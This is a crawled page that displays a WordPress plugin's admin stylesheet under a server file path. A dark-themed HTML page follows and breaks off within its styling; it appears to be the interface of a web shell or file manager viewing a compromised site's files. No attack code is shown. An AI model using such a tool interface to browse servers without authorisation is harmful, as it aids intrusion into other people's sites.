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<div class='alert alert-info'><strong>/home/tahkoom/public_html/wp-content/plugins/under-construction-page/css/ucp-admin.css</strong></div><pre class='file-content'>/*
 * UnderConstructionPage
 * Main backend CSS
 * (c) Web factory Ltd, 2015 - 2025
 */

@import url('//fonts.bunny.net/css?family=Roboto:400,500,600,900');

.settings_page_ucp .button-primary,
.settings_page_ucp .button.button-primary {
  background: #ff9900;
  color: #ffffff;
}

.settings_page_ucp .button,
.settings_page_ucp .button-primary,
.settings_page_ucp .button-secondary {
  -webkit-border-radius: 0;
  border-radius: 0;
  border: 1px solid #ff9900;
  background: transparent;
  color: #ff9900;
  text-shadow: none;
  box-shadow: none;
  margin-right: 4px;
}

.settings_page_ucp .epsilon-framework-notice {
  display: none;
}

.settings_page_ucp input,
.settings_page_ucp select,
.settings_page_ucp textarea {
  border-radius: 0;
}

.ucp-notice-small {
  border-left: 4px solid #00a0d2;
  margin: 5px 0 15px;
  padding: 1px 12px;
  background-color: #fafafa;
  display: inline-block;
  max-width: 700px;
}

.settings_page_ucp .button:hover,
.settings_page_ucp .button-primary:hover,
.settings_page_ucp .button-secondary:hover,
.settings_page_ucp .button-primary:active,
.settings_page_ucp .button:active,
.settings_page_ucp .button-secondary:active,
.settings_page_ucp .button-primary:focus,
.settings_page_ucp .button-secondary:focus {
  background: rgba(255, 153, 0, 0.7);
  color: #ffffff;
  border: 1px solid #ff9900;
  box-shadow: none;
}

.settings_page_ucp h1 {
  margin-bottom: 30px;
}

#ucp_content #wp-content-media-buttons {
  display: none;
}

.settings_page_ucp h1 a {
  color: black;
  text-decoration: none;
}

#ucp_tabs textarea {
  box-sizing: border-box;
  resize: none;
}

#ucp_tabs #wp-content-editor-tools {
  padding-top: 0;
}

.settings_page_ucp p {
  font-size: 14px;
}

.settings_page_ucp code {
  line-height: 1.7;
}

.settings_page_ucp h2:first-child {
  margin-top: 0;
}

.settings_page_ucp h2 {
  border-bottom: 1px solid #dddddd;
  margin: 50px 0 0px 0;
}

.form-table th {
  padding: 15px 10px 20px 0;
}

#ucp_design .form-table th {
  width: 100px;
}

p.submit {
  padding-bottom: 0;
}

.button.loading {
  pointer-events: none;
  cursor: default !important;
  opacity: 0.6;
}

.settings_page_ucp button,
.settings_page_ucp .button-primary,
.settings_page_ucp .button-secondary {
  -webkit-border-radius: 0;
  border-radius: 0;
}

.notice a.button-primary.open-ucp-upsell {
  vertical-align: baseline;
  margin-top: 15px;
  font-weight: 600;
  height: auto;
  padding: 10px;
  color: #111111;
  background-color: #ffffff;
  border-width: 2px;
}
.notice a.button-primary.open-ucp-upsell:hover {
  background-color: #f1f1f1;
}

.button span {
  display: none;
}

.button.loading span {
  -webkit-animation: ucp-spin 2s infinite linear;
  animation: ucp-spin 2s infinite linear;
  padding: 0;
  margin: 3px 7px 0 0;
  display: inherit;
}

.settings_page_ucp h1 .ucp-logo-text {
  max-height: 17px;
}

.settings_page_ucp h1:hover img.rotate {
  transform: rotate(360deg);
}

.settings_page_ucp h1 img {
  height: 23px;
  margin-right: 10px;
  margin-bottom: -2px;
  transition: transform 1.5s ease-in-out;
}

.select2 {
  width: 50%;
  max-width: 300px;
}

div.ucp-thumb .ribbon {
  width: 100px;
  height: 100px;
  overflow: hidden;
  position: absolute;
  top: 0;
  right: 0;
}
div.ucp-thumb .ribbon::before,
div.ucp-thumb .ribbon::after {
  position: absolute;
  z-index: -1;
  content: '';
  display: block;
}
div.ucp-thumb .ribbon i {
  position: absolute;
  display: inline-block;
  width: 100px;
  padding: 32px 12px 0px 39px;
  background-color: #ff7900e6;
  box-shadow: 0 5px 10px rgba(0, 0, 0, 0.1);
  color: #fff;
  text-shadow: 0 1px 1px rgba(0, 0, 0, 0.2);
  text-transform: uppercase;
  text-align: center;
  left: 38px;
  top: -7px;
  transform: rotate(45deg);
}
div.ucp-thumb .ribbon::before,
div.ucp-thumb .ribbon::after {
  border-top-color: transparent;
  border-right-color: transparent;
}
div.ucp-thumb .ribbon::before {
  top: 0;
  left: 0;
}
div.ucp-thumb .ribbon::after {
  bottom: 0;
  right: 0;
}

div.ucp-thumb,
div.ucp-thumb-special {
  position: relative;
  max-width: 300px;
  width: calc(31% - 20px);
  margin: 0 10px 5px 0;
  display: inline-block;
  text-align: center;
  padding: 10px;
  border: 2px solid rgba(241, 241, 241, 0.7);
}

div.ucp-thumb span {
  text-align: left;
  display: block;
  padding: 4px 0 10px 0;
}

div.ucp-thumb .buttons {
  text-align: left;
}

div.ucp-thumb .buttons a {
  margin-right: 10px;
}

div.ucp-thumb.active {
  border: 2px solid rgba(255, 121, 0, 0.7);
}

div.ucp-thumb.active span {
  font-weight: 500;
}

div.ucp-thumb img,
.ucp-thumb-special img {
  margin-bottom: 6px;
  max-width: 100%;
  border: thin solid rgba(0, 0, 0, 0.35);
}

.ucp-list {
  list-style-type: circle;
  list-style-position: outside;
  margin-left: 14px;
  line-height: 150%;
}

input[type='url']:invalid,
input[type='email']:invalid,
input[type='tel']:invalid {
  border-color: #ea1919;
  -webkit-box-shadow: 0 0 2px rgba(234, 25, 25, 1);
  box-shadow: 0 0 2px rgba(234, 25, 25, 1);
}

.settings_page_ucp #wp-content-editor-tools {
  background-color: #ffffff;
}

span.show-datepicker {
  margin: 4px 0 0 -25px;
  cursor: pointer;
}

span.clear-datepicker {
  margin: 4px 0 0 6px;
  cursor: pointer;
}

span.clear-datepicker:hover {
  color: #ff7900;
}

input.datepicker {
  background-color: #ffffff;
}

.settings_page_ucp .AnyTime-win {
  border-radius: 0;
  -moz-border-radius: 0;
  -webkit-border-radius: 0;
  border: 1px solid silver;
  z-index: 99;
}

.settings_page_ucp .AnyTime-pkr .AnyTime-hdr {
  padding: 10px;
  font-size: 15px;
  background-color: #f1f1f1;
  border-bottom: 1px solid silver;
}

.settings_page_ucp .AnyTime-pkr .AnyTime-hdr .AnyTime-x-btn {
  display: none;
}

.settings_page_ucp .AnyTime-pkr .AnyTime-hr-btn .ui-state-default {
  background-color: #ffffff;
}

.select2-container--default .select2-selection--multiple .select2-selection__rendered li {
  margin-top: 6px;
  margin-bottom: 0px;
}

span.select2-container .select2-search--inline .select2-search__field {
  margin-top: 0px;
}

.select2-container .select2-search__field:not([placeholder='']) {
  width: 100% !important;
  margin-right: 100000px;
}

.select2-container--default .select2-selection--multiple {
  border: 1px solid #dddddd;
}

.ucp-logo {
  font-variant: small-caps;
  font-family: Roboto, sans-serif;
  font-weight: 900;
}

.ui-widget-overlay {
  opacity: 0.85;
}

.ucp-survey-dialog .ui-dialog-titlebar {
  text-align: center;
  font-weight: bold;
}

.ucp-survey-dialog .ui-dialog-titlebar-close {
  display: none;
}

.ucp-survey-dialog .ui-dialog-content {
  padding: 20px 25px;
  font-size: 15px;
}

.ucp-survey-dialog b {
  font-weight: bold;
}

.ucp-survey-dialog .footer {
  margin: 20px 0 0 0;
  text-align: center;
}

.ucp-survey-dialog .footer #emailme {
  margin: 0 5px -3px 0;
}

.ucp-survey-dialog .footer .button-primary {
  border-radius: 0;
  font-size: 15px;
  box-shadow: none;
  text-shadow: none;
  margin-top: 5px;
}

.ucp-survey-dialog .footer .dismiss-survey {
  padding-top: 25px;
  display: block;
}

.ucp-survey-dialog .ui-dialog-content p {
  margin: 0 0 20px 0;
  font-size: 15px;
}

.question-wrapper {
  border: 2px solid rgba(0, 0, 0, 0.2);
  padding: 15px 10px;
  background-color: rgba(250, 250, 250, 0.55);
  margin-bottom: 5px;
  opacity: 0.75;
  width: 100%;
  display: inline-block;
  text-align: center;
  box-sizing: border-box;
}

.question-wrapper:hover {
  opacity: 1;
  border: 2px solid rgba(0, 142, 194, 1);
  cursor: pointer;
}

.question-wrapper.selected {
  opacity: 1;
  border: 2px solid rgba(0, 142, 194, 1);
}

.question-wrapper b {
  font-weight: bold;
  font-size: 14px;
}

.question-wrapper .dashicons.big {
  color: rgba(0, 0, 0, 1);
  display: inline;
  font-size: 61px;
}

.question-wrapper img {
  margin-bottom: 10px;
  height: 50px;
}

.question-wrapper .question {
  display: inline-block;
  width: 100%;
}

.question-wrapper i {
  padding-top: 5px;
  font-size: 14px;
}

@media screen and (max-width: 782px) {
  .settings_page_ucp input[type='text'].datepicker {
    max-width: 80%;
    display: inline-block;
  }

  span.show-datepicker {
    margin: 9px 0 0 -25px;
  }

  span.clear-datepicker {
    margin: 9px 0 0 6px;
  }
}

/* tabs */

.settings_page_ucp .ui-tabs {
  max-width: 1000px;
  width: 100%;
  position: relative;
  padding: 0px;
  zoom: 1;
  margin-top: 20px;
} /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as &quot;fixed&quot;) */

.settings_page_ucp .ui-tabs .ui-tabs-nav {
  margin: 0;
  padding: 0;
}
.settings_page_ucp .ui-tabs .ui-tabs-nav li {
  list-style: none;
  position: relative;
  top: 1px;
  margin: 0 0.2em 1px 0;
  border-bottom: 0 !important;
  padding: 0;
  white-space: nowrap;
}
.settings_page_ucp .ui-tabs .ui-tabs-nav li a {
  text-decoration: none;
}
.settings_page_ucp .ui-tabs .ui-tabs-nav li.ui-tabs-selected {
  margin-bottom: 0;
  border-bottom: 1px solid #f1f1f1 !important;
}
.settings_page_ucp ul.ui-tabs-nav.ucp-main-tab li.ui-state-active {
  border-top: 3px solid #ff7900;
  background: #ffffff;
}
.settings_page_ucp .ui-tabs .ui-tabs-nav li.ui-tabs-selected a,
.settings_page_ucp .ui-tabs .ui-tabs-nav li.ui-state-disabled a,
.settings_page_ucp .ui-tabs .ui-tabs-nav li.ui-state-processing a {
  cursor: text;
}
.settings_page_ucp .ui-tabs .ui-tabs-nav li a,
.settings_page_ucp .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a {
  cursor: pointer;
} /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */
.settings_page_ucp .ui-tabs .ui-tabs-panel {
  display: block;
  border-width: 0;
  padding: 20px;
  background: #ffffff;
}
.settings_page_ucp .ui-tabs .ui-tabs-hide {
  display: none !important;
}

.settings_page_ucp .ui-tabs .ui-tabs-nav li a {
  font-size: 14px;
  font-weight: 600;
  line-height: 32px;
  color: #aaaaaa;
  padding: 10px 20px;
  display: block;
  letter-spacing: 1px;
}

.settings_page_ucp .ui-tabs ul.ui-tabs-nav li.ui-state-active .icon {
  color: #ff7900;
}

.settings_page_ucp .ui-tabs-nav:after {
  content: '';
  clear: both;
  display: block;
}

.settings_page_ucp .ui-tabs-anchor,
.nav-tab {
  outline: none !important;
}

.settings_page_ucp .ui-tabs ul.ui-tabs-nav li {
  border: none;
  color: #aaaaaa;
  display: inline-block;
  font-size: 12px;
  line-height: 16px;
  margin: 5px 5px -5px 5px;
  text-decoration: none;
  text-shadow: none;
  background: rgba(255, 255, 255, 0.61);
  padding: 0;
  text-align: center;
  letter-spacing: 0.5px;
  min-width: 105px;
}

.settings_page_ucp .ui-tabs ul.ui-tabs-nav li .label {
  display: block;
  margin-top: -10px;
}

.settings_page_ucp .ui-tabs ul.ui-tabs-nav li:first-child {
  margin-left: 0;
}

.settings_page_ucp ul.ui-tabs-nav.ucp-main-tab {
  padding-bottom: 0;
  width: 100%;
  box-sizing: border-box;
  border-bottom: 0px !important;
}

.settings_page_ucp .ui-state-hover a,
.settings_page_ucp .ui-state-active a,
.settings_page_ucp li.ui-state-hover,
.settings_page_ucp li.ui-state-hover a {
  color: #000000 !important;
}

.settings_page_ucp li.ui-state-hover {
  background-color: #ffffff !important;
}

.settings_page_ucp .ui-tabs-nav a:focus {
  box-shadow: none;
  -webkit-box-shadow: none;
}

@media screen and (max-width: 782px) {
  .settings_page_ucp .ui-tabs ul.ui-tabs-nav li .label {
    display: none;
  }
  .settings_page_ucp .ui-tabs .ui-tabs-nav li a {
    padding: 8px 15px 0px 14px;
  }
  .settings_page_ucp .ui-tabs ul.ui-tabs-nav li {
    margin: 5px 2px -5px 2px;
    min-width: inherit;
  }
}

@media screen and (max-width: 1150px) {
  .settings_page_ucp .ui-tabs .ui-tabs-nav li a {
    padding: 10px 15px 10px 15px;
  }
  .settings_page_ucp .ui-tabs ul.ui-tabs-nav li {
    min-width: inherit;
  }
}

#ucp_tabs li span.dashicons-star-filled {
  color: #ffc107;
}

.ucp-tab-content {
  max-width: 1050px;
}

.settings_page_ucp .ucp-tabs-2nd-level {
  margin: 0;
}

.settings_page_ucp .ucp-tabs-2nd-level ul.ui-tabs-nav li a {
  padding: 0 5px;
  margin: 0 0 -1px 0;
  font-size: 1.3em;
  font-weight: 600;
  border-bottom: 2px solid transparent;
}

.settings_page_ucp .ucp-tabs-2nd-level ul.ui-tabs-nav li {
  margin: 0 10px 1px 10px;
  min-width: initial;
}

.settings_page_ucp .ucp-tabs-2nd-level ul.ui-tabs-nav {
  border-bottom: 1px solid #dddddd;
}

s.settings_page_ucp .ucp-tabs-2nd-level li.ui-state-active a:before {
  display: inline-block;
  content: ' ';
  position: absolute;
  width: 100%;
  height: 2px;
  background: #23282d;
  bottom: 0;
}

.settings_page_ucp .ucp-tabs-2nd-level ul.ui-tabs-nav li.ui-state-active a {
  border-bottom: 2px solid black;
}

.ucp-tabs-2nd-level .form-table {
  margin: 0;
}
/* tabs */

/* anytime.5.1.2.min.css
Copyright 2008-2015 Andrew M. Andrews III.
License: creativecommons.org/licenses/by-nc-sa/3.0/
Any+Time is a trademark of Andrew M. Andrews III */

.AnyTime-pkr * {
  border: 0;
  font: inherit;
  font-size: x-small;
  font-style: normal;
  font-weight: 400;
  list-style-type: none;
  margin: 0;
  padding: 0;
  white-space: nowrap;
  -moz-box-sizing: border-box;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
}
.AnyTime-win {
  background-color: #f0f0f1;
  border: 3px solid silver;
  display: inline-block;
  font: normal normal normal xx-small/normal sans-serif;
  -moz-border-radius: 6px;
  -webkit-border-radius: 6px;
  border-radius: 6px;
}
.AnyTime-pkr,
.AnyTime-pkr * {
  text-align: center;
}
.AnyTime-pkr .AnyTime-cloak {
  background-color: #d7d7d7;
  opacity: 0.7;
  position: absolute;
  filter: alpha(opacity=70);
}
.AnyTime-pkr .AnyTime-hdr {
  background-color: #d0d0d1;
  color: #606062;
  font-family: Arial, Helvetica, sans-serif;
  font-size: medium;
  font-weight: 400;
  -moz-border-radius: 2px;
  -webkit-border-radius: 2px;
  border-radius: 2px;
}
.AnyTime-pkr .AnyTime-x-btn {
  background-color: #fcfcff;
  border: 1px solid #f99;
  color: #ff9f9f;
  cursor: default;
  float: right;
  margin: 0.25em 0.25em 0 0;
  width: 1.5em;
  -moz-border-radius: 0.4em;
  -webkit-border-radius: 0.4em;
  border-radius: 0.4em;
}
.AnyTime-pkr .AnyTime-btn {
  background-color: #fcfcfe;
  border: 1px solid #999;
  color: #606062;
  cursor: default;
  font-family: Arial, Helvetica, sans-serif;
  margin: 0 0.1em 0.1em 0;
  padding: 0.2em 0.3em;
  -moz-border-radius: 0.1em;
  -webkit-border-radius: 0.1em;
  border-radius: 0.1em;
}
.AnyTime-pkr .AnyTime-body {
  margin: 0 1em 1em 0;
}
.AnyTime-pkr .AnyTime-date {
  display: inline-block;
  margin-left: 1em;
  vertical-align: top;
}
.AnyTime-pkr .AnyTime-lbl {
  color: #606063;
  font-family: Arial, Helvetica, sans-serif;
  font-size: 100%;
  font-weight: 400;
  font-style: normal;
  margin-top: 0.8em;
}
.AnyTime-pkr .AnyTime-yrs {
  width: 20em;
}
.AnyTime-pkr .AnyTime-yrs-past-btn,
.AnyTime-pkr .AnyTime-yrs-ahead-btn {
  display: inline-block;
  width: 2.4em;
}
.AnyTime-pkr .AnyTime-yr-prior-btn,
.AnyTime-pkr .AnyTime-yr-cur-btn,
.AnyTime-pkr .AnyTime-yr-next-btn {
  display: inline-block;
  width: 4.8em;
}
.AnyTime-pkr .AnyTime-mons {
  width: 20em;
}
.AnyTime-pkr .AnyTime-mons:after {
  content: '';
  display: table;
  clear: both;
}
.AnyTime-pkr .AnyTime-mon-btn {
  float: left;
  width: 3.2em;
}
.AnyTime-pkr .AnyTime-mon7-btn {
  clear: left;
}
.AnyTime-pkr .AnyTime-dom-table {
  background-color: #f0f0f1;
  border: 1px solid #e3e3e4;
  border-spacing: 1px;
  width: 20em;
}
.AnyTime-pkr th.AnyTime-dow {
  background-color: #c0c0c1;
  color: #fff;
  font-family: Arial, Helvetica, sans-serif;
  font-size: 95%;
  font-weight: 400;
  font-style: normal;
  padding: 0.1em 0.3em;
}
.AnyTime-pkr .AnyTime-dom-btn {
  text-align: right;
  padding-right: 0.5em;
}
.AnyTime-pkr .AnyTime-dom-btn-empty,
.AnyTime-pkr .AnyTime-min-ten-btn-empty,
.AnyTime-pkr .AnyTime-min-one-btn-empty,
.AnyTime-pkr .AnyTime-sec-ten-btn-empty,
.AnyTime-pkr .AnyTime-sec-one-btn-empty {
  background-color: #f3f3f4;
  border: 1px solid #c0c0c1;
}
.AnyTime-pkr .AnyTime-time,
.AnyTime-pkr .AnyTime-hrs-am,
.AnyTime-pkr .AnyTime-hrs-pm,
.AnyTime-pkr .AnyTime-mins-tens,
.AnyTime-pkr .AnyTime-mins-ones,
.AnyTime-pkr .AnyTime-secs-tens,
.AnyTime-pkr .AnyTime-secs-ones {
  display: inline-block;
}
.AnyTime-pkr .AnyTime-hrs,
.AnyTime-pkr .AnyTime-mins,
.AnyTime-pkr .AnyTime-secs,
.AnyTime-pkr .AnyTime-offs {
  display: inline-block;
  margin-left: 1em;
}
.AnyTime-pkr .AnyTime-hr-btn {
  text-align: right;
  width: 3.5em;
}
.AnyTime-pkr .AnyTime-min-ten-btn,
.AnyTime-pkr .AnyTime-min-one-btn {
  width: 2em;
}
.AnyTime-pkr .AnyTime-sec-ten-btn,
.AnyTime-pkr .AnyTime-sec-one-btn {
  width: 2em;
}
.AnyTime-pkr .AnyTime-off-cur-btn {
  display: inline-block;
  overflow: hidden;
}
.AnyTime-pkr .AnyTime-off-select-btn {
  display: inline-block;
  vertical-align: top;
  width: 2em;
}
.AnyTime-pkr .AnyTime-yr-selector {
  position: absolute;
}
.AnyTime-pkr .AnyTime-body-yr-selector {
  margin: 0.8em 1em;
}
.AnyTime-pkr .AnyTime-yr-mil,
.AnyTime-pkr .AnyTime-yr-cent,
.AnyTime-pkr .AnyTime-yr-dec,
.AnyTime-pkr .AnyTime-yr-yr,
.AnyTime-pkr .AnyTime-yr-era {
  display: inline-block;
  vertical-align: top;
}
.AnyTime-pkr .AnyTime-mil-btn,
.AnyTime-pkr .AnyTime-cent-btn,
.AnyTime-pkr .AnyTime-dec-btn,
.AnyTime-pkr .AnyTime-yr-btn {
  width: 2em;
}
.AnyTime-pkr .AnyTime-era-btn {
  margin-left: 1em;
}
.AnyTime-pkr .AnyTime-off-selector {
  margin: 1em 2em;
  position: absolute;
}
.AnyTime-pkr .AnyTime-body-off-selector {
  margin: 0.8em 1em;
  overflow-x: hidden;
  overflow-y: auto;
  white-space: nowrap;
}
.AnyTime-pkr .AnyTime-off-off-btn {
  text-align: left;
}
.AnyTime-pkr .AnyTime-cur-btn {
  border: 1px solid #333334;
  background-color: #c0c0c1;
  color: #fcfcfe;
  font-weight: 700;
}
.AnyTime-pkr .AnyTime-out-btn {
  background-color: #f0f0f1;
  border: 1px solid #c0c0c1;
}
.AnyTime-pkr .AnyTime-focus-btn {
  border: 1px dashed #000;
}

/* icon spin */
@-webkit-keyframes ucp-spin {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(359deg);
    transform: rotate(359deg);
  }
}
@keyframes ucp-spin {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(359deg);
    transform: rotate(359deg);
  }
}

.toggle-wrapper {
  position: relative;
  overflow: hidden;
  display: inline-block;
}
.toggle-wrapper input {
  position: absolute;
  left: -99em;
}
.toggle-wrapper .toggle {
  cursor: pointer;
  display: inline-block;
  position: relative;
  width: 121px;
  height: 30px;
  font-weight: 600;
  background: transparent;
  border: 2px solid #f1f1f1;
  -webkit-transition: all 200ms cubic-bezier(0.445, 0.05, 0.55, 0.95);
  transition: all 200ms cubic-bezier(0.445, 0.05, 0.55, 0.95);
}
.toggle-wrapper .toggle:before,
.toggle-wrapper .toggle:after {
  position: absolute;
  line-height: 30px;
  font-size: 14px;
  z-index: 2;
  -webkit-transition: all 200ms cubic-bezier(0.445, 0.05, 0.55, 0.95);
  transition: all 200ms cubic-bezier(0.445, 0.05, 0.55, 0.95);
}
.toggle-wrapper .toggle:before {
  content: 'OFF';
  left: 18px;
  color: #ffffff;
}
.toggle-wrapper .toggle:after {
  content: 'ON';
  right: 20px;
  color: #23282d;
}
.toggle-wrapper .toggle_handler {
  display: inline-block;
  position: relative;
  z-index: 1;
  background: #ea1919;
  width: 55px;
  height: 24px;
  top: 3px;
  left: 3px;
  -webkit-transition: all 200ms cubic-bezier(0.445, 0.05, 0.55, 0.95);
  transition: all 200ms cubic-bezier(0.445, 0.05, 0.55, 0.95);
  -webkit-transform: translateX(0px);
  transform: translateX(0px);
}
.toggle-wrapper input:checked + .toggle {
  background: transparent;
}
.toggle-wrapper input:checked + .toggle:before {
  color: #23282d;
}
.toggle-wrapper input:checked + .toggle:after {
  color: #fff;
}
.toggle-wrapper input:checked + .toggle .toggle_handler {
  width: 55px;
  -webkit-transform: translateX(60px);
  transform: translateX(60px);
  background: #66b317;
}

.ucp-pro-feature {
  display: inline-block;
  width: 32%;
  background: rgba(128, 128, 128, 0.03);
  margin: 0 5px 20px 5px;
  padding: 10px 20px 20px 20px;
  box-sizing: border-box;
  vertical-align: top;
  position: relative;
  border-top: 1px solid rgba(255, 121, 0, 0.54);
}

#ucp-earlybird {
  width: calc(96% + 20px);
  background: rgba(128, 128, 128, 0.03);
  border-top: 1px solid rgba(255, 121, 0, 0.54);
  padding: 10px 0 10px 0;
  margin: 40px 5px 50px 5px;
}

.ucp-small-title {
  text-align: center;
  font-family: Roboto, sans-serif;
}

#ucp-earlybird span {
  text-align: center;
  display: block;
  font-family: Roboto, sans-serif;
  font-size: 18px;
  line-height: 200%;
}

#ucp-earlybird span b {
  color: #ff7920;
}

#ucp-earlybird p {
  text-align: center;
}

.ucp-pro-feature span {
  text-align: center;
  display: block;
  font-weight: bold;
  font-family: Roboto, sans-serif;
  font-size: 14px;
}

.ucp-pro-feature p {
  margin: 10px 0 0 0;
  text-align: left;
}

h3.ucp-pro-logo {
  font-variant: small-caps;
  font-family: Roboto, sans-serif;
  font-weight: 900;
  margin: 10px 0 40px 0;
  text-align: center;
  font-size: 40px;
}

h3.ucp-pro-logo img {
  height: 64px;
}

h3.ucp-pro-logo span {
  color: #ff7900;
  vertical-align: super;
  font-size: smaller;
}

/* upsell dialog */
.ucp-upsell-dialog .ui-dialog-titlebar {
  background: #ff7900;
  text-align: center;
  height: 55px;
}
.ucp-upsell-dialog .ui-dialog-titlebar img {
  height: 32px;
  display: inline-block;
  margin: 11px 0 0 0;
}
.ucp-upsell-dialog .ui-dialog-titlebar-close {
  color: #fff;
  height: 55px;
  font-size: 0px;
}
.ucp-upsell-dialog .ui-dialog-titlebar-close:hover {
  color: #333;
}
.ucp-upsell-dialog .ui-dialog-content {
  padding: 0;
}
.ucp-upsell-dialog .ui-tabs-nav {
  text-align: center;
}
.ucp-upsell-dialog .ui-tabs .upsell-tab {
  padding: 20px 15px;
  text-align: center;
}
.ucp-upsell-dialog a {
  color: #333;
}
.ucp-upsell-dialog a:hover {
  color: #000;
}
.ucp-upsell-dialog {
  font-size: 14px;
}
#ucp-pricing-table {
  width: 100%;
}
.upsell-header {
  margin: 0 0 20px 0;
  background: #ff7900;
  color: #fefefe;
  padding: 10px;
  box-sizing: content-box;
  border: 1px solid #111;
}
.upsell-header b {
  font-weight: bolder;
}
#ucp-pricing-table,
#ucp-pricing-table tr,
#ucp-pricing-table td,
#ucp-pricing-table h3 {
  margin: 0;
  padding: 0;
  border: 0;
  border-spacing: 0;
  border-collapse: collapse;
}
#ucp-pricing-table tr:first-child td {
  background-color: #fff;
  padding: 10px;
  text-align: center;
  width: 33%;
}
#ucp-pricing-table tr:last-child td {
  border-bottom: none;
}
#ucp-pricing-table h3 {
  color: #111;
  font-size: 24px;
  font-weight: bold;
  line-height: 105%;
}
#ucp-pricing-table td {
  padding: 8px 15px;
  border-bottom: solid thin #ff7900;
  text-align: center;
}
#ucp-pricing-table .bb0 td {
  border-bottom: none;
}
#ucp-pricing-table tr td:first-child {
  border-right: 10px solid #fff;
}
#ucp-pricing-table tr td:last-child {
  border-left: 10px solid #fff;
}
#ucp-pricing-table .dashicons {
  color: #ff7900;
}
#ucp-pricing-table .dashicons.dashicons-no {
  color: #000;
}
#ucp-pricing-table .hover {
  background-color: #fff;
}
#ucp-pricing-table .promo-button u {
  font-weight: bold;
}
#ucp-pricing-table .promo-button {
  color: #111;
  background: #fff;
  padding: 10px 5px;
  margin: 15px 0 10px 0;
  text-align: center;
  display: block;
  text-decoration: none;
  font-size: 22px;
  line-height: 120%;
  border: 2px solid #ff7900;
}
#ucp-pricing-table .promo-button del {
  color: #333;
}
#ucp-pricing-table .promo-button:hover {
  background-color: #f1f1f1;
}
#ucp-pricing-table .instant-download {
  text-align: center;
  display: inline-block;
  font-style: italic;
  margin: 0 -5px 0 -5px;
}
#ucp-pricing-table .promo-button small {
  font-size: x-small;
  line-height: 0px;
}
.upsell-footer {
  padding: 20px;
  box-sizing: border-box;
  text-align: center;
  margin: 10px -15px -20px -15px;
  background-color: rgba(128, 128, 128, 0.03);
}
#tab-upsell-features .upsell-footer {
  margin-top: 0;
}
option.ucp-promo {
  color: #e14d43;
}
/* upsell dialog */

/* weglot upsell dialog */
.weglot-upsell-dialog .ui-dialog-titlebar {
  background: linear-gradient(140deg, #335ee2 10%, #271f50 90%);
  text-align: center;
  height: 55px;
}
.weglot-upsell-dialog .ui-dialog-titlebar img {
  height: 32px;
  display: inline-block;
  margin: 11px 0 0 0;
}
.weglot-upsell-dialog .ui-dialog-titlebar-close {
  color: #fff;
  height: 55px;
}
.weglot-upsell-dialog .ui-dialog-titlebar-close:hover {
  color: #333;
}
.weglot-upsell-dialog .ui-dialog-content {
  padding: 0;
}
.weglot-upsell-dialog .ui-tabs-nav {
  text-align: center;
}
.weglot-upsell-dialog .ui-tabs .upsell-tab {
  padding: 20px 15px;
  text-align: center;
}
.weglot-upsell-dialog a {
  color: #333;
}
.weglot-upsell-dialog a:hover {
  color: #000;
}
option.weglot-promo {
  color: #2980b9;
}
/* upsell dialog */

#support-hero {
  text-align: center;
  margin: 40px 0;
}

#support-hero p {
  font-size: 25px;
  line-height: 1.5;
  font-weight: 400;
}

#support-hero b {
  font-weight: 800;
}

#support-hero .button {
  padding: 15px 10px;
  display: inline;
  font-weight: 900;
  font-size: 22px;
  line-height: 120%;
}

.settings_page_ucp .put-dismiss-notice,
.settings_page_ucp .premio-notice,
.settings_page_ucp div.fs-notice {
  display: none !important;
}

#wpfssl-ad {
  border: 3px solid #42982e;
  min-width: 300px;
  max-width: 400px;
  padding: 10px 20px;
  background: white;
  position: absolute;
}

#ucp-ad {
  border: 3px solid #ff9900;
  min-width: 300px;
  max-width: 400px;
  padding: 10px 20px;
  background: white;
  margin-bottom: 30px;
}

#ucp-sidebar-ads {
  position: fixed;
  display: none;
}

.settings_page_ucp .plain-list {
  margin-top: 10px;
  list-style-type: circle;
  list-style-position: inside;
}

.settings_page_ucp .plain-list li {
  text-indent: -20px;
  padding-left: 23px;
  line-height: 23px;
  margin: 0;
}

@media screen and (max-width: 1300px) {
  #ucp-sidebar-ads {
      display: none !important;
  }
}

#wpfssl-ad a.button {
  padding: 11px 20px;
  color: white;
  background: #42982e;
  font-weight: 600;
  border: none;
  line-height: 1.5;
  height: auto;
  margin-bottom: 10px;
  white-space: normal;
  max-width: 90%;
}

#wpfssl-ad a.button:hover,
#wpfssl-ad a.button:active,
#wpfssl-ad a.button:focus {
  box-shadow: 0px 0px 10px 0px rgb(50 138 210 / 52%);
  background: #42982e;
  color: white;
  border: none;
}

.textcenter {
  text-align: center;
}

div.ui-dialog {
  position: fixed;
}

#ucp_rate_notice,
#ucp_update_pro{
    max-width: 970px;
}

@media screen and (max-width: 1520px) {
    #ucp_tabs{
        max-width:700px;
    }
    #ucp_rate_notice,
    #ucp_update_pro{
        max-width:670px;
    }
}

@media screen and (max-width: 1300px) {
    #ucp-sidebar-ads {
        display: none !important;
    }

    #ucp_tabs{
        max-width:1000px;
    }
    #ucp_rate_notice,
    #ucp_update_pro{
        max-width:970px;
    }
}
</pre><!DOCTYPE html>
<html lang="en">
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
      line-height: 1.5;
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    a {
      color: #8ab4f8;
      text-decoration: none;
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    a:hover {
      text-decoration: underline;
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    .panel {
      margin-bottom: 20px;
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    input, textarea, button {
      background: #000;
      border: 1px solid #444;
      color: #ccc;
      font-family: inherit;
      font-size: 16px;
      padding: 6px;
      width: 100%;
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    button {
      cursor: pointer;
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    button:hover {
      background: #222;
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    ul {
      list-style: none;
      padding: 0;
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    li {
      padding: 6px 0;
      border-bottom: 1px solid #222;
      display: flex;
      justify-content: space-between;
      align-items: center;
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    .result-box {
    white-space: pre;
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      margin: 12px 0;
      font-size: 15px;
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      border: 1px solid #333;
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      padding: 12px;
      font-size: 15px;
      white-space: pre-wrap;
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      overflow-y: auto;
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    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
